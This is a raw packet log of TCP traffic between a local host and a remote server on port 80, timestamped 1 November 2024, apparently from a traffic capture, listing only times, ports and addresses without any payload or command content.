Nov 1, 2024 05:52:29.143389940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143472910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143495083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143498898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143511057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143522024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143537998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143588066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143793106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143857002 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143868923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143886089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143898010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.143913984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143950939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.143950939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.144033909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.144107103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.144170046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.144192934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172593117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172616959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172627926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172663927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172682047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172715902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172729969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172751904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172758102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172764063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172780037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.172790051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172810078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.172828913 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173176050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173187971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173197985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173276901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173422098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173433065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173443079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173454046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173497915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173553944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173722029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173732042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173784971 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173849106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173871994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173882961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173890114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173899889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173921108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173934937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173948050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.173974991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.173984051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.218511105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.218550920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.218564987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.218585014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.218677044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.218736887 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.266566038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266599894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266614914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266624928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266635895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266647100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266674995 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.266716003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.266886950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266897917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266906977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.266928911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.266941071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.267132044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.267180920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.267213106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.267251015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.267257929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.267267942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.267292976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.267301083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.295857906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.295911074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.295923948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.295967102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.295967102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.295980930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.295991898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296015024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296041965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296197891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296220064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296241999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296262980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296266079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296302080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296305895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296319008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296343088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296354055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296538115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296554089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296567917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296588898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296588898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296593904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296606064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296607018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296621084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.296622038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296644926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.296658993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297133923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297182083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297205925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297219992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297240019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297276974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297314882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297327042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297338963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297349930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297359943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297389984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297858953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297871113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297882080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.297902107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.297925949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.341850996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.341876984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.341891050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.341984987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.342020988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390095949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390108109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390117884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390129089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390141964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390172958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390218973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390229940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390240908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390252113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390265942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390291929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390415907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390438080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390472889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390510082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390520096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.390551090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.390573025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419203043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419249058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419260979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419282913 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419311047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419325113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419337034 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419348001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419363022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419368029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419390917 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419404984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419661999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419703007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419713020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419734001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419748068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419758081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419775009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419790983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419871092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419909000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.419961929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419971943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419981956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.419995070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420006037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420034885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420315027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420360088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420383930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420401096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420419931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420420885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420430899 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420433044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420448065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420459032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420461893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420475006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420478106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420491934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420515060 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420928955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420959949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420969963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.420974016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.420999050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.465202093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.465215921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.465225935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.465271950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.465311050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513362885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513380051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513411045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513418913 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513430119 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513442039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513452053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513463020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513473988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513474941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513474941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513474941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513482094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513494015 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513501883 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513525009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513546944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513912916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513940096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513951063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.513959885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513972044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.513993979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.542640924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542665958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542676926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542687893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542700052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542726994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.542746067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542757034 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542757034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.542768955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542783976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542789936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.542793989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542804956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.542818069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.542833090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543265104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543273926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543318033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543350935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543365002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543376923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543385983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543402910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543416977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543430090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543577909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543596029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543613911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543623924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543631077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543634892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543647051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543654919 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543658972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.543678045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.543699026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.593656063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.598427057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879527092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879540920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879616976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879754066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879772902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879791021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879801989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879797935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879813910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879825115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879832029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879841089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879843950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879868031 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879868984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879880905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879884958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879893064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879904985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879908085 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879914999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.879920959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879941940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.879981041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.880346060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880371094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880382061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880389929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.880399942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.880420923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.880583048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880593061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880604029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:29.880625963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:29.880652905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036524057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036595106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036643982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036659956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036683083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036689043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036711931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036719084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036724091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036736965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036744118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036748886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036760092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036763906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036771059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036787987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.036803007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.036823034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037353039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037364006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037374020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037381887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037405968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037419081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037592888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037604094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037612915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037635088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037642956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037653923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037655115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037667036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.037679911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.037704945 CET	49760	80	192.168.2.4	185.215.113.206
